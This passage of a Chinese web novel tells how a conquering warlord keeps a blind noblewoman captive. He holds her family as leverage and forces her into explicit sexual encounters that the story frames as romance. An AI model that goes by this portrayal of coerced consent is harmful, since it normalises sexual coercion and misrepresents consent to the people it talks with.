几乎是同时,大开的殿门外,传来浩荡汹涌的打杀声!低沉又浑厚繁杂的攻城声混合着天边闷雷,地面被马蹄声震动。雨势好像更大了一些,间或电闪雷鸣,混合在一起形成极其诡异的死亡乐曲。 鹿微眠偏头,探寻声音的方向。 叶心娴脸色大变,“怎么好端端的会有人攻城?!”“城防呢?!城防之前没有信儿吗?!” “娘娘……”小太监的话还没说完,突然一柄利箭从打开的殿门之处飞旋而来! 径直穿过他的喉咙! 鲜血飞溅而出,浸染在叶心娴华服之上,小太监应声倒地。叶心娴惊恐抬头。 大开的殿门之外,她径直与一双染血黑瞳对视。他像是地狱泥沼中爬出的修罗,一身坚硬盔甲,鲜血淋漓,看着她的眼神,像是在看死人。 大门被毫不留情地破开。封行渊在一片厮杀声中,杀气深重。 叶心娴踉跄着后退几步,看见封行渊像是看见鬼一样,“你怎么……” 鹿微眠察觉到了不对劲,扶着桌子起身。但可惜眼前一片黑暗。 叶心娴顾不得把话说完,看见封行渊提刀进来,惊慌失措地大喊,“来人!抓逆贼!” 周围宫人瑟缩着,谁都不敢上前,叶心娴的惊呼全部落空。紧接着封行渊手中长刀在沾满雨水的地面之上划出一道血线,径直朝着叶心娴挥去。 叶心娴凝神,想也不想,将身边的小宫女往前一推,掉头朝着鹿微眠跑过去。 鹿微眠只听到了急促的脚步声。 下一瞬,她猛地被叶心娴抓住手腕,挡在叶心娴身前,像是想要拿她做筹码,“你再过来,看看是她先死,还是我……” 鹿微眠刚摸到手边匕首,耳边紧接着刮过一道凌厉的风声。 一柄利箭径直穿透了叶心娴的眉心!鹿微眠被那利箭的冲击力和叶心娴垂死挣扎的力道带得踉跄一步,跌倒在地。手中藏着的匕首也掉了出来。 鹿微眠撑住身子,双手就在叶心娴满身珠翠之间摸到了一片湿润,那是鲜血。鹿微眠怔愣片刻,仇人死在她面前,心下刚隐隐升起些快意,耳后便又传来脚步声。 鹿微眠警惕回身,即便是看不见来人,也能感觉到那危险的气息。以及落在自己身上灼热的视线,像是能将她剖开看穿。将她拆吃入腹。 鹿微眠条件反射地去摸地上的匕首,却被人踢开。她双手扑了空。 听到了一声冷笑。 男人冰凉沾血的手一把握住了她的下颚抬起,粗粝指腹缓慢剐蹭着她细嫩的脸颊。 鹿微眠眼睫轻颤,偏头躲开他。握住她脸颊的手却忽然收紧,强迫她面对着他。 他的手指把玩意味颇强,让鹿微眠觉得自己像是一只被囚于笼中的鸟雀,被人肆意撩拨欣赏着羽毛,“你放开我。” 封行渊用鲜血将这只纯白干净的茉莉花染脏,他有意更换了自己的声线腔调,伪装成陌生人戏弄道,“怎么被人欺负得这般可怜。”还以为她跟情郎合谋抛弃了他,会过得很好呢。 看来她的情郎也不过如此。 封行渊缓慢打量着她的眼睛,指腹摩挲,反倒是将她欺负得更加可怜,“既落到我手里了。”他视线幽暗,循循善诱,“要不要考虑,换个男人。” 鹿微眠浑身恶寒,明明她衣物完好,此刻却像是没穿衣服一样暴露在一只野兽的视线之中。浓烈的雄性气息和被侵略感裹挟着她。 鹿微眠升起未知的恐惧,颤着手拔下自己的簪子,刚抵在喉咙之处。就听到他恶劣的声音,“你父母弟弟,所有家人都在我这里,完好无损。” 鹿微眠猛地一怔。 "考虑一下?" 被匪徒觊觎后 群狼环伺 错嫁未婚夫他哥 春信降临成酒春信降临 91、第91章if前世he ... 鹿微眠心口微悸,想要抓住他的袖子,却只摸到了沾着泥土与鲜血的铠甲,情急地询问,“我的家人……” 封行渊垂眸,看着她在自己身上胡乱摩挲的手,并没有制止她。"你的家人如何,取决于你的选择。" 鹿微眠眼睫颤了颤,触碰到他铠甲的手指生出些抗拒,慌张缩回。强烈的道德约束让她一时间无法妥协,但又无法拒绝,“我,我已经嫁人了。” “嫁谁了?” 鹿微眠听他语调悠然,似乎并不因为这个而退却,反倒听出来了更加……兴奋的意味。她唇线绷直。 他不见她回答,拨开她垂落在鬓边的耳发,"无妨,嫁人了好。"他话语恶劣至极,不成体统,“本王就喜欢嫁过人的。” “你心里还有别人,却不得不屈从于我,会让我很喜欢。”封行渊看着她,别有深意的问,“你很在意你的丈夫?” 鹿微眠手指轻轻攥紧。只感觉男人的手指顺着她的下颚往下滑,轻轻略过她的领口衣襟,激起一层细密的鸡皮疙瘩。 她很想骂他龌龊。但一想到父母家人都在他手里,她怎么也说不出口。 往好处想。起码仇人死了,家人都还活着。生死之外,都是小事。 但她也不想回答他这个问题,顺了这个逆贼的恶趣味,让他更加畅快。鹿微眠薄唇紧抿,终是妥协道,“我要见我的家人。” 封行渊知道她这是答应的意思。没关系,他们有的是时间慢慢算以前的账。 他慢悠悠地起身,“可以。” 封行渊说完,旁边立马上来两个女侍,将鹿微眠扶起,带了下去。 鹿微眠起身还有些不真实感,屋外厮杀声让她觉得自己像是身处于幻境之中。仿佛不知道什么时候,这场梦境会突然醒过来,姜崇进来告诉她,她父亲母亲已经行刑身亡了。 或许这场梦如果再久一点。醒过来她还在家中,孙嬷嬷午时推开她的房门,催促着她,“姑娘啊,都什么时辰了,赶紧起来要吃午膳了。” 她刚好被饿醒爬起来,去跟父亲母亲用午膳。间或有下人在他们用膳用到一半的时候赶来,跟他们说,姑爷回来了。 她当初,怎么能相信慕青辞这个混蛋。 父亲母亲回来了,可封轸再也回不来了。若不是因为她,他也不会被慕青辞抓到弱点遭遇劫难,尸骨无存。 若是封轸在,京城肯定不会这般容易就被攻破。 护送她的侍女似乎很是了解宫中的布局结构,将她带去了一处僻静的宫殿,这里仿佛与外面的硝烟战火完全隔绝。朦胧雨声覆盖了整座庭院。 但鹿微眠隐隐觉得,这个地方的感觉,好像有些熟悉。这些侍女很安静,但很妥帖地帮她收拾着。 鹿微眠思前想后,还有一个问题,“你们主子攻城,为什么要帮我们家劫囚。”一个叛军专程去刑场,劫囚攻城,有些奇怪。 只是为了得到她,说不过去。 鹿微眠清楚自己几斤几两,不至于让一个素未谋面的反贼这般上心。 侍女们全部恭恭敬敬,公事公办地回着,"主子的想法,奴婢不得而知。" 鹿微眠见问不出来太多话,也没有继续盘问。 屋外的打杀声不知什么时候停了下来,似乎没有持续太久,这个反贼本就是在朝廷势弱的时候打了进来。他似乎很了解朝中局势,兴许朝中也有不少帮手。 甚至都没有等到天黑,屋外就只剩下了淅淅沥沥的雨声。鹿微眠这里始终很清静,没有任何战火波及。屋子里留了两个侍女照看她。 屋子外面似乎也有侍卫看守。 鹿微眠坐在浴桶中,寒雨冷风从窗户缝隙中钻入。侍女帮她擦洗身上的尘土和血水,她们偶尔碰到她,会让鹿微眠很是紧张。 眼睛看不见,其他的感官就会变得异常敏锐。鹿微眠肩膀瑟缩起来。 生怕落在自己身上的会变成男人的手。她虽然是答应了,但还没有准备好。 不过算着时辰,战胜归来的男人,总有着第一时间享用自己战利品的劣根性。鹿微眠有点害怕。 那应该是一双刚刚杀过无数人的手。 她哪里遭遇过这种事情。 侍女帮她梳洗好,就离开了屋子。 鹿微眠坐立不安,在床榻上等着,不知道他什么时候会来。也不知道自己会被怎么样的对待。 鹿微眠越想心下越是紧张,手指绞紧。夜色渐深,但始终没有人来。鹿微眠等着等着睡了过去。 直到清早侍女前来叫她,鹿微眠醒过来,才发现自己睡着了。她伸手摸到了盖在自己身上的被子,想不起来自己是怎么钻上床盖上被子的。 侍女与她说着,"王上安排了夫人与家人见面。" 鹿微眠一下子清醒过来,撑起身子,"真的吗?"“奴婢帮夫人收拾好,前去会面。” 侍女上前,帮她晨起梳妆。鹿微眠非常配合,她迫切地想要见到他们,确认他们都没有事。 屋外仍然是阴天,空气中潮湿温润,夹杂着并不明显的血腥气息。鹿微眠被侍女带上马车。随后侍女便退下,在马车外等候。 鹿微眠不自在地独坐马车内,磨磨蹭蹭地找了个舒服的位置坐好,轻叹了一口气。自言自语地纠结着之前她没有想明白的问题,“那个恶贼真的会救我们家啊……” "为什么呢。" 到底是她一家上百口人命,他帮她留下,“该不是要从我身上讨回来更多吧。” ……鹿微眠有点担心,他还喜欢人-妻,“会不会是个大变态。” 而此时马车内,鹿微眠对面,正好坐着那个大变态。 封行渊原本闭目养神,闻言睁开眼睛,饶有兴致地看着她。 鹿微眠浑然不觉,又叹了一口气,将腿伸开。 紧接着她不小心踢到了什么,支在她旁边不远处,被她踢得晃了一下。鹿微眠赶忙把腿收了回来,规规矩矩地伸手想要把那个东西扶正。手一伸出去,就摸到了一片冰凉的布帛。 鹿微眠有些疑惑,“桌子吗?”她想着,又继续摸索,顺着那桌子腿往上。摸着摸着,她渐渐发现了不对劲,因为她隔着布帛,摸到了鼓动的肌肉和里面传来的余温,这好像不是桌子…… 是个……! 鹿微眠蓦的屏气,手一下被封行渊抓住,“这位夫人,你轻薄我。” 鹿微眠听到他的声音,血液直冲脑海,"抱抱抱……抱歉,我不是故意的。"她慌忙把手抽回来。 封行渊掌心落空,也没有急着去追,就这般看着鹿微眠耳根浮上红晕。鹿微眠恨不得找一个地缝钻进去,眼帘压低不敢抬头,双手攥紧裙摆,“你,一直都在吗?” “嗯。”封行渊尾音上扬,理所当然道,“从恶贼、大变态开始就在。”鹿微眠不想找地缝了,她想直接从车窗跳出去应该能快一点逃离这里。她欲言又止,绞尽脑汁怎么也想不到该怎么转圜自己说过的话,“我的意思是……” 封行渊不在乎她找什么借口,只是在马车停下之时起身,“无妨,我本身就是恶贼、变态。”他很喜欢这样的称呼,且坏得理直气壮。 “封夫人说得对,我会从你身上讨回来更多。” 鹿微眠懊恼不已,直到外面的侍女出声提醒她,“夫人,我们到了。”鹿微眠不得不起身,侍女伸手将她从马车内扶出,送进屋子。 司空府一家被封行渊安置在宫中一处小院子里。 鹿瑜叶绾看见鹿微眠,连忙起身,"阿眠!"鹿微眠听到父亲母亲的声音心口一震,不由得加快了脚步。 鹿瑜叶绾赶忙接过她,鹿微眠摸着他们手上的皱纹,“你们真的没事……. “没事,我们都没事。”叶绾声音哽咽,“多亏了…….她正要说什么,忽而看到后面面无表情的封轸,记得他们的叮嘱,又暗暗把话咽了回去,“多亏了王上搭救…….” 这会儿,封行渊到底是以王的身份救了他们。跟以往的关系不一样。 现在是君臣。他们不能随意说出君上的名讳,更何况封行渊不准他们说。 具体什么原因,鹿瑜和叶绾这一日也听西陵的将士提起。封轸好像是因为鹿微眠与慕青辞的私情,差点死在外面。 如今回来没有迁怒他们,肯回来搭救实属难得,他们于公于私也不敢试探这位君上的态度。更不可能和往常一般亲近。 鹿瑜看着鹿微眠的眼睛,“还是看不见吗?”“无妨,”鹿微眠摇头,“只要你们没事,这些都是小事。”她只是看不见又能如何。 鹿瑜眼尾泛红,“乖乖受苦了。” 鹿微眠眼眶湿润,“不苦。” 他们一家人叙旧,封行渊并不参与。 但鹿瑜看见他,还是忍不住上前行礼,“罪臣感念王上搭救。” “此事小女必定是无辜受人蒙骗,她绝无坏心,王上若要怪罪,尽管怪罪臣。” 鹿微眠不明白鹿瑜这话是什么意思,“父亲……”封行渊打断她的询问,“鹿司空总是爱急着揽罪。”“既然有机会活,就别动不动想着死的事。” 封行渊提醒鹿微眠, "家人带你看过了,我们该走了。"鹿微眠知道时辰到了,赶忙多说了两句话,“父亲母亲放心,照顾好鹿峥,我一切都好。” 她说完,便有侍女上前,带她离开。 鹿瑜和叶绾自然是放心,封轸肯救他们,又能对她做多坏的事情。只是看起来,阿眠还不知道他是谁。 仔细一想也能明白。封轸心里还压着很大的气性。 因她差点被仇人置于死地,回来还救了她一家,会显得他这个人太好欺负。封轸不愿意说也能理解。 鹿微眠跟着封行渊离开,送上马车之后,两人相对无言。但鹿微眠能感觉到尖锐的视线始终在她身上描摹着。 马车到了地方,鹿微眠被送下去。她离开之前,身后男人说了一句很是耐人寻味的话,“今晚等我,封夫人。” 他们该算账了。 92、第92章if前世he ... 鹿微眠脊背泛寒,轻轻偏头,但马车已经调转了方向离开。男人的话犹在耳。 等他也就罢了。 她早在答应之时就想到了这一天,但偏偏他还故意叫她封夫人。 提醒着她本该是他人之妻的事实。 鹿微眠咬唇。 这让她原本对封轸的愧疚更添一层,将隐秘的背-德感放大到了极点。 侍女上前将鹿微眠送回房间。鹿微眠坐在屋子里发呆,随着日暮临近,心下忐忑逐渐膨胀。 晚膳时分,侍女前来送晚膳。其实鹿微眠自己也能吃饭,就是慢了很多。为方便照顾她,侍女还是坐在旁边帮她添菜。 失明之后,鹿微眠总是爱吃一些汤羹,这样不用费劲的去判断桌子上的菜式。也显得不那么笨拙。 她到底还是有些世家姑娘的仪态在,不想让自己看起来太狼狈。只有侍女询问的时候,她才会说自己想吃哪个。 侍女问着问着也大概能看得出来,鹿微眠的口味偏向于酸甜口。爱吃些精致的小菜,胃口也不大。有人问她,她才不会只喝汤羹。 落魄但是蛮矜贵的小姑娘。 侍女帮衬着她吃饭,正夹过去一块糖醋小排,隐约感觉到了灯影晃动。她回头看见封行渊从门外走来,微微一惊,起身正要行礼,被封行渊拦住。 鹿微眠听见脚步声和侍女起身的动静,下意识问她,“怎么了?” 侍女迟疑着,看封行渊没有想要让她知道的意思,胡乱编了个借口,“没怎么,我帮夫人拿菜。” 鹿微眠没有怀疑,思索片刻,温吞开口,“你方才说有冰酥酪。” “有的。”侍女正要去拿,却被封行渊拦住。他慢条斯理地端起了冰酥酪的碗碟,放在了鹿微眠面前,好整以暇地看着她。 鹿微眠果然没有察觉到身边已经换了一头虎视眈眈的猛兽。只感觉到东西放在自己面前,开心地道了声谢,顺手拉身边的猛兽坐下,“你也吃。” 封行渊被她拉坐下来,垂眸瞥了一眼她落在自己袖子上的手。但很快,鹿微眠就将手收回,专心吃冰酥酪。 只有他身上还残留着被她拉拽过那极轻的触感和力道。 这算是饭后甜点。浓郁的牛乳甜香从唇间化开,让人跟着心情也好了不少。鹿微眠想她暂时可以忘记今晚即将发生的事情,忘记那个变态。 最好那个变态今晚跟昨晚一样,不知道被什么绊住,就不来了。 鹿微眠咬着勺子想着,毕竟他才刚刚收战,朝中肯定很多乱七八糟的事情。拜托了,一定要绊住他。 鹿微眠有点走神,咬冰酥酪时外溢些许,乳白酥酪沾在唇角。 封行渊神色晦暗,正要伸手递帕子,就看见鹿微眠下意识抿唇,舌尖卷走唇边酥酪。他手上动作一滞。视线黏连在她的唇上。 原本就深不见底的黑瞳更暗几分,瞳孔深处潮水汹涌,翻卷着深水暗火。他的手指垂在旁边,轻捏了一下手里的帕子。 鹿微眠浑然不觉,慢吞吞地吃着酥酪。酥酪这种东西,沾在唇上在所难免。 直到吃完之时,一只手实在是忍不住伸了过来,擦掉了她唇边多余的酥酪。鹿微眠从来人指尖嗅到了一丝清茶香气,她迟疑了片刻,还是先道谢,“多谢。” 那“侍女”没有回话。封行渊动作很慢,但是有点重,压过她唇瓣,蹭出一抹微红。 他动作停顿片刻,恶意多压了一下。将她唇间酥酪擦干净,才觉得心下那股烦躁消散不少。 鹿微眠被压得唇间发麻,不等她心下觉得异样,那只手便收走。让她误以为是自己那个位置弄得太脏不好擦所致。 封行渊靠在旁边,欣赏着她被压过唇间失血之后又充血肿胀起来的样子。 偏偏她还什么都不知道,以为他当真是个好心的侍女。 屋内安静了一瞬,很快有下人前来收拾桌子。鹿微眠坐在旁边等着,唯一让她觉得有些奇怪的是,今天晚上下人们都很安静。仿佛收拾东西也不敢发出太大的声音。 因而在这阵有条不紊的忙乱声中,一声绵软的小猫叫就格外地引人注意。鹿微眠偏了偏头,去找猫叫来源,“这里有猫吗?” 一旁收拾的侍女拘谨地看向正抱起一只小黑猫的封行渊。封行渊眼皮都没有抬一下,只是简单顺了顺小猫的毛发。 侍女硬着头皮道,“有的,是……王上养的。” 鹿微眠嘀嘀咕咕道,"他那样的人还会养猫啊。"很难想象。 封行渊眼皮跳了一下,抬眼看她。 鹿微眠虽然没有见过这个恶贼,但她以为这个人应该是凶神恶煞,心狠手辣才对。竟然会养小猫。 侍女不敢说话,收拾好东西就退离了房间,径直关上门。屋内只剩下他们两个和一只小猫。 鹿微眠还能听到屋子里的猫叫声,扶着桌子起身,“你还在这里吗?” 封行渊看着她就这么朝着自己走过来,也没有动。 鹿微眠顺着声音伸出手,手指就距离男人脸颊一寸之时。封行渊怀里的小猫冷不防地跳下了椅子,扒拉鹿微眠裙摆上的珍珠。 鹿微眠感觉到它在脚边,收回手,蹲下身。果然摸到了毛茸茸的一团。 她将小猫抱了起来,掌心一团绵软,“你叫什么名字啊?”小猫“喵喵”两声。 鹿微眠也不是真的想要问它叫什么,就是想要找个能说话的。她坐回去,摸着小猫身上的毛发柔软顺滑,能感觉到它被人养得很好,“你的主人还有心思养你。” 小猫蹭了蹭她的手指。鹿微眠由着它蹭,“我以为他一心忙着做坏事呢。”“他会打你吗?” 小猫叫了一声,鹿微眠也不知道这是会的意思,还是不会的意思,“那你说,他会打我吗?”“他会不会有些不太好的喜好?” 封行渊就坐在不远处,兴致盎然地看她抱着一只猫自言自语。通体全黑的小猫上搭着一双纤纤玉手,如水葱莹白,视觉冲击力极强。 小猫也听不懂鹿微眠在说什么,大抵是觉得女孩子的怀里格外地温暖舒服,又香香软软的,惬意地在鹿微眠怀里找了个舒服的姿势。鹿微眠一面自言自语,一面摸着它的小脑袋。 大抵是把它摸舒服了,小猫伸出爪子,轻轻抓踩了一下柔软之处。鹿微眠愣了一下,顿时耳尖发红。 它在……踩奶。 鹿微眠慌忙间把它挪远了一些,“不许踩。”小猫眨巴着大眼睛,爪子脱离了柔软之处,蜷缩了一下,选择踩她的腿。这里也软软的。 封行渊眉梢微扬,眼看着她脸颊越来越红。腿被小猫碰也不好意思吗。怎么哪里都碰不得。 鹿微眠身体本就有些敏感,失明之后更甚。何况虽然成婚一年多,但她也没有跟人有过身体接触。鹿微眠有点手足无措,试着跟小猫谈判,“那这样,我给你碰,你一会儿去缠住你的主人好不好?” 小猫没有吭声,甚至爪子上的小动作也停了下来。 鹿微眠思索着,它这是答应还是不答应。迎面带过了一阵冷风,紧接着一双手伸过来将她怀里的小猫抱走。 鹿微眠在那双手伸过来的时候,大脑空白一瞬,惊得汗毛直立。紧接着来人俯身在她耳边留了一句,“不好呢。” 鹿微眠猛地惊叫躲开,一下子撞倒了罗汉床上的小几。 小几上的茶水瓷碗七零八落,茶水濡湿了大片,洒在鹿微眠手上和裙摆上。 她扶着身后的靠枕,好半天才缓过神来,“你你你…” 男人沉吟道,“明面上答应跟我,保住你的家人。背地里又贿赂我的猫,让它拖住我。” “封夫人打得好算盘。” 鹿微眠身体后缩,仿佛这样可以摆脱这恶魔一样的声音。她声音细若蚊蝇,“你怎么总是来了不出声。” “倘若出声,我怎么知道,你这么不想见到我。”封行渊催促小猫离开,悠然无比,“也是,被猫抓两下,是比被我碰轻松许多。” 鹿微眠似乎是听出来了小猫从窗口出了屋子,身体愈发紧绷。 屋内只有他们两人,阴森危险的气息陡然间变得浓烈。 “不过,封夫人到底也成过婚,知人事。”封行渊不着急,坐在一旁,“若是你怕,我们可以按照你与你夫君做过的事情来。”“且把我当成他。把你们做过的事情,跟我再做一遍。” 这声音听起来甚至有点善解人意。但一听内容,全都是浑话。 提起封轸,鹿微眠心下就一阵酸涩。当初她新婚夜就与他说,她另有心上人,他就没有碰过她。他是个君子。 或许是有愧于心,也或许是封轸现在尸骨未寒,鹿微眠秀眉紧蹙,“不要提他。” “为什么不提?”封行渊扬眉,“不提他,提慕青辞如何?”“你不是心悦慕青辞,甘愿为了慕青辞抛弃你丈夫,宁愿让你丈夫去死吗。”封行渊挑眉,“你和慕青辞之间做过的事情,再跟我做一遍如何?” 男人话音刚落,鹿微眠手腕就被一股蛮力攥紧,一个踉跄就拉了过去。她跌坐在男人身前,一时惊慌,想要起身,却被死死按住。男人手指顺着她的手腕滑小臂,“说说看,他碰过你这里吗?”鹿微眠被他手指剐蹭得起了一层鸡皮疙瘩,酥痒无比,慌忙缩手躲避。他的手指又滑到腰际,“这里呢?” 说着,裙带就被扯开,束缚一松,鹿微眠就下意识地护住身前,“不要……”他似乎很喜欢她的反应,"别露出这么害怕的表情。" “坏人不会因为你害怕放开你,”封行渊手指探进裙带衣边,贴上了她温润的腰际肌肤,“只会因为你害怕变本加厉。” 鹿微眠没有被人这样触碰过,不得不去抓他的手,阻拦他的动作,却被他钻了空子,扯下衣襟。她浑身上下抖得厉害。 “怎么回事啊。”封行渊带着薄茧的指腹描摹着她的腰线,指尖沾了点折磨意味,“这么可怜……”想弄坏。 和外男勾结的小夫人,就该被狠狠惩罚,弄到坏掉。 93、第93章if前世he ... 鹿微眠裸露在外的肌肤与周身阴冷空气相触,又暴露在男人灼热的视线之下。冰火交融。 他手指压在深处,触碰到了她衣摆上被茶水浸染濡湿的位置。鹿微眠猛地打了个寒颤,浑身缩紧,腰也跟着塌下去,撑住他的肩膀。 整个人被他掌心滚烫激得一层一层过电,“别……. 她想下去,可理智回笼又清楚地知道,她现在根本哪也去不了。她都答应了,没有要跑的道理。 “别什么,”封行渊看她失力地伏在他肩头,咬紧手指的样子,眼底几分肆虐意图,“他碰你也会这样吗?” 鹿微眠感觉到他缓慢地剐蹭、探索着她,像是要了解她身上每一处构造,理平她的每一寸褶皱。在提到慕青辞之后的力气更重。 男人结实的手臂深入衣物里侧,“你不是喜欢慕青辞吗?”“就当是你也喜欢我呢?” 他将自己的气息沾染在她身上,一圈一圈打磨,力道越来越重,仿佛是想要将旁人的气息赶走。但这对于鹿微眠来说有点粗暴,她趴在他肩头,攥紧了他的衣襟,有点抗拒他的言辞和行为,“我不喜欢。” 封行渊停下来,“不喜欢他,还是不喜欢我?” 鹿微眠缓了一口气,模棱两可地给了个回答,“不喜欢他。” 封行渊有点满意这个回答,“为什么不喜欢?”他故意问着,“因为他和别人一起,把你欺负成这样?” 鹿微眠不吭声。 封行渊也明白,又继续动作,“可惜,我也在欺负你呢。”“是不是也不喜欢我。” 鹿微眠不想说喜欢,但迫于威压也不敢说不喜欢。她咬紧唇瓣,溢出些可怜的声音。 封行渊倒是能感觉到,她身体一抽一抽,有点拘谨害怕。 “封轸倒是没有欺负你,”他如魔魅般在她耳边低喃,“可惜他已经死了。” 鹿微眠心尖一颤。他问,“你现在还想让他死吗?”话出口,他指尖就感觉到阻力,她在抗拒。 鹿微眠凝眉,“我从来都没想让他死。” 封行渊偏头判断着她这话的真假,但这样是判断不出来的。他恶意地碾碎阻力,没入,“真的?” 鹿微眠屏气,眼尾被他的强硬挤出一丝湿痕,死死地抓住他的衣襟。 封行渊感觉阻力更大几分。好像是真的。 鹿微眠听他的语调更加愉悦几分,“真的假的又如何。”“你当初既不要他,正好他也回不来了。” 她心下一时怅惘,忽然间被人抱起,压在旁边的桌台上。耳边碎发被一只手拨开,顺着她耳廓滑到肩颈胸口,肆意描摹着她的身形,那幽然阴森的声音再度响起,“真可怜,如今你只能落在我这个混蛋手里。”什么东西抵在她腿上。鹿微眠惊慌失措地伸手去推他,“等等,我……” 慌乱之中,她摸到了他的脸,男人脸颊轮廓清晰线条流畅。不是她想象中粗狂又凶恶的面相,有点干净清朗,甚至摸着样貌有点……熟悉。 未等她真的摸出来什么,手腕就被人制住,硬是将她翻过去,背对着他。 背对着男人,是极其被动的姿态。将自己所有脆弱的地方全然暴露交付。最方便猛兽掠食。 她像是一只被狮子扑住的莺雀,一只大手按在她腰间,蝴蝶骨震颤,却毫无反击地余地。鹿微眠此时的感官极其敏锐,感觉到他靠近就开始躲。 这个不行。她受不了。 鹿微眠抓住罗汉榻边缘,手指死死地扣住,“王上,等等……” 封行渊听她语调放软,心下莫名有些不痛快。 他病态地感觉不满,她怎么对没见过的男人都能这般轻声细语地商量。 从前却总是很强硬地想要与他撇清关系。这样的语气,她从来没有对他用过。 他恶意地压紧,“等什么?”凶兽就在门口,鹿微眠狠狠地打了个寒颤,不等逃开,肩膀就被一只大手攥住,压回来。 封行渊看出来了,她就喜欢被人欺负。他这阵子可钻研了不少刑罚之术,选了这个最适合给她用的。 她不是抛弃他吗。那就让她沾染上他的气息、他的东西,让她永远也无法跟他割断联系。 封行渊单手撑在她身侧,整个人笼罩在她身上,额角汗珠忽然间砸在她脊背上。鹿微眠狠狠一抖,呜咽出声,“轻……” 没等她紧张,就感觉他擦过她,并没有攻击到实处。鹿微眠眼睫轻颤,微微偏头。 封行渊攥着她的腰,俯身压低,“能感觉出来,我跟你丈夫有什么区别吗?” 鹿微眠咬唇。 身后人低笑一声,“用外面记住我,下次我要用里面检查,你记没记住。”"没记住的话,封夫人恐怕就要被我撕裂了。" 话落,仿佛是想让她更加清晰地感觉到区别一般。抵她更紧,一遍一遍让她加深对他的轮廓印象。 鹿微眠脸皮薄,不敢细想他的意思,却被他用行为提醒着。他每每提封轸,都让鹿微眠刚刚妥协接纳的心绪又翻涌起来。虽然她与封轸情分不深,但脑海中还是一遍一遍浮起封行渊的脸。 很怪。 尤其是她被迫感觉到快乐之时,更加羞耻怪异,挣扎得更加厉害。 封行渊知道自己有病,就爱看她因为对自己的愧疚,而抗拒他的索求。反而她一旦顺着他来,他就有些微妙的嫉妒和幽怨,故意再度勾起她的愧疚,确认她对他会有一点在意。 周而复始,他病入膏肓。 鹿微眠则被疯狂的道德约束裹挟得刺激更甚。心跳失衡,浑身脱力,一结束就睡了过去,即便是外面也不轻松。所过之处都一片红肿。 封行渊一碰她,她还本能地轻颤。 封行渊嗤之以鼻,这般娇气,慕青辞该不会还没有碰过她。也是,慕青辞自小身体不好,未必有用。 所以她到底喜欢他什么。封行渊眉梢微扬,心情颇好,不过好在现在也不喜欢了。 鹿微眠睡醒也不知道是什么时辰,醒过来身上仿佛还残留着被人掌控的触感。那人的存在感太强,即便是走了,还是有些无法忽视。 她准备起床去摇床铃,摸到床铃摇响之后把手放下来,又摸到一个盒子。 鹿微眠不记得自己的床头有放盒子。她疑惑地打开,摸索着里面的东西,只是摸到了几块玉。 旁边还放了一个小瓷瓶。鹿微眠试着打开那个小瓷瓶,几滴清油顺着瓷瓶流淌而出。 鹿微眠反应过来这是油的时候,立马想要扣好,但是手上滑腻根本扣不上,瓷瓶摔在地上打碎。 正好进来的侍女看到,“夫人别碰了,再伤了手。”侍女上前将砸碎的瓷瓶收起来,去叫嬷嬷重新备一瓶。 鹿微眠听着有人进来换,忍不住问道,“这些东西是什么?”嬷嬷压低声音,“这自然是王上留给您开身的。” 鹿微眠愣了一下,“开什么?”老嬷嬷体贴地把花油放在盒子里,“若是您不会,老奴也可以帮您。” 鹿微眠连忙后缩,浑身发胀,“不不,不用。”她忽然间想起来昨晚那人说的,用外面记住,用里面检查。原来是这个意思?! 嬷嬷劝着她,“总是要用的,您也不想真的受伤吧,到时候吃苦头的还是您啊。” 鹿微眠难以接受。但是嬷嬷说的是事实。 就在她纠结时,侍女又端着东西进来,“夫人,该喝药了。” 鹿微眠才刚刚听过那什么开身之物,听到药神经再度紧绷起来,“什么药啊?”"王上吩咐要您喝的药,具体是什么奴婢不知。" “啊?”鹿微眠本能地以为,这也是帮她开身的怪异汤药。喝了就离不开男人的那种。 鹿微眠不想喝,“能不喝吗?”"王上说,夫人可以选我们喂您,还是他来喂。" 鹿微眠还是知道谁喂能更轻松的,那个变态就不一定怎么喂她了,“那你们喂吧。” 侍女应声坐在她旁边,舀起一勺汤药晾凉递到鹿微眠唇边。鹿微眠思绪挣扎一瞬,但知道自己眼下家人都在他手里,没有回旋的余地,因此她不得不张嘴。 汤药清甜,意外地并不苦涩。只是喝起来怎么有点……血腥? * 封行渊清早去承乾殿,一进门,西陵族长便起身恭迎。封行渊随意抬手免礼,走进去。 只是抬手一个动作,他手腕之处袖子滑落,将包扎缠布显露出来。长老敏锐地看见,一时间眉头紧锁,“您的手怎么了?” 封行渊懒散地看他一眼,随口敷衍,“前阵子战事所致。”“最好是战事所致。”长老看着他,深吸一口气,“就怕是您又犯傻。” 封行渊不想听他唠叨,“今日何事?”长老拱手,“姜崇伏法,我们找到了他藏匿慕青辞的地方。但是,慕青辞已经提前醒来跑了。” “跑了就去抓,还要问我?”"王上既然知道想谋害您的慕青辞该抓,为什么还放任祸患留在您身边。" 封行渊掀起眼帘,就知道这个老头没憋什么好话。 长老看着他,“您别告诉我,您喜欢上了那个想谋害您的姑娘?” 封行渊蹙眉,大概是没想过这个问题,“这就算喜欢?” "起兵冒险冲回来造反,第一件事是救她家人,第二件事是赶去救她。" “上一回因为给她取血治病,精神不振,才落在她旧情人手里险些丧命,如今还给她取血。”长老话语间带着恨铁不成钢的情绪,“这不是喜欢,难道是恨吗?” 封行渊黑瞳半阖,他分明觉得自己已经是很坏地在惩罚她了,人被欺负得快要坏掉,他表现出来的难道不是报复。 封行渊似是很认真地思索片刻,“我想做什么,一定要有原因吗?” 长老笃定,“一定会有。” 封行渊慢声笑了,起身朝着他走过去,“你说得对。” 话落,封行渊一掌劈在他后颈,在长老瞪大眼睛昏过去之前,悠然道,“比如我现在有点嫌你烦了。” 94、第94章if前世he ... 大殿内有人进来,将长老带下去休息。封行渊坐回原位,简单翻了两下面前的书卷,很快又出神。 喜欢?喜欢她什么? 封行渊慢条斯理地想着,他现在还挺喜欢看她害怕他。像是老鼠见了猫,但又跑不掉。 很有趣。 但他清楚,这不是什么正常的喜欢。起码不像是她喜欢慕青辞那样。 封行渊这么想着,出声吩咐,"把她叫来。" 凌一心知肚明这会儿主子想要叫来的人,只有一个。他答应着出门。 鹿微眠这会儿正坐在桌边心惊胆战地等着那“淫药”发作。她从来没有用过这种东西,也不知道自己会变成什么样子。 总归一定是不成体统、见不得人的样子。她该不会还求着他对自己做些坏事。 大概是怕自己过于失态,鹿微眠今日选了遮掩严实的衣衫,虽然这也是徒劳的挣扎罢了。一时间身体一丝一毫的反应都仿佛被无限放大。 正好时至酷暑,又是连绵阴雨过后的大晴天。鹿微眠也分不清,这是天气带来的燥热,还是身体里浮出来的热。 随着正午来临,燥热愈发浓烈。 她正担心着,门外便有人进来禀报,“夫人,王上传您过去。” 